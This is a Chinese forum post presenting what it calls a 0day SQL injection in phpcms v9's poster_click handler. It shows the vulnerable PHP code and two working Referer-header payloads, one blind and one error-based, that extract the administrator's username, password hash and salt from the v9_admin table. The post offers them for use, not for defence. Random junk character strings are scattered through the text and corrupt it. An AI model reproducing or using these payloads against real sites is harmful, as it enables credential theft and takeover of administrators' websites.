phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

3 v, n6 h( ^" N问题函数\phpcms\modules\poster\index.php
5 l) h( I2 T" s- U% y
public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
3 m: a! T( a9 R$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
% e! u2 R8 g$ n. y# e$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
3 |; m7 D+ @; A$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
1 M! Q( r  I9 z4 ~( ?if($id) {
0 |8 d! J5 B$ A. {2 R4 E$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
8 D, ^4 D+ i5 [3 U. C; R/ Q}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
" W2 j/ N' L- ?if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
/ F5 D" Z+ e& Z) B' P+ O4 \$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
. W  g9 I. c. f5 `}
% Y. B+ x" C* Eheader('Location: '.$url);
# f- R! Y! B2 Z* y# g}


% i( j# T6 }: Q5 e: s1 y% U
+ V6 C7 ~' ]- }2 u% H# k利用方式：

# C+ F% Z# ?4 |, R( v% K- u) f. r$ W1、可以采用盲注入的手法：
9 ~7 _5 \2 ^3 C8 N
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
  v2 a& n$ @9 g2 z* W9 r6 U
通过返回页面，正常与否一个个猜解密码字段。

  F! J6 o$ W) R- Y2、代码是花开写的，随手附上了：

4 |$ t' O" Z+ A) s. v1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
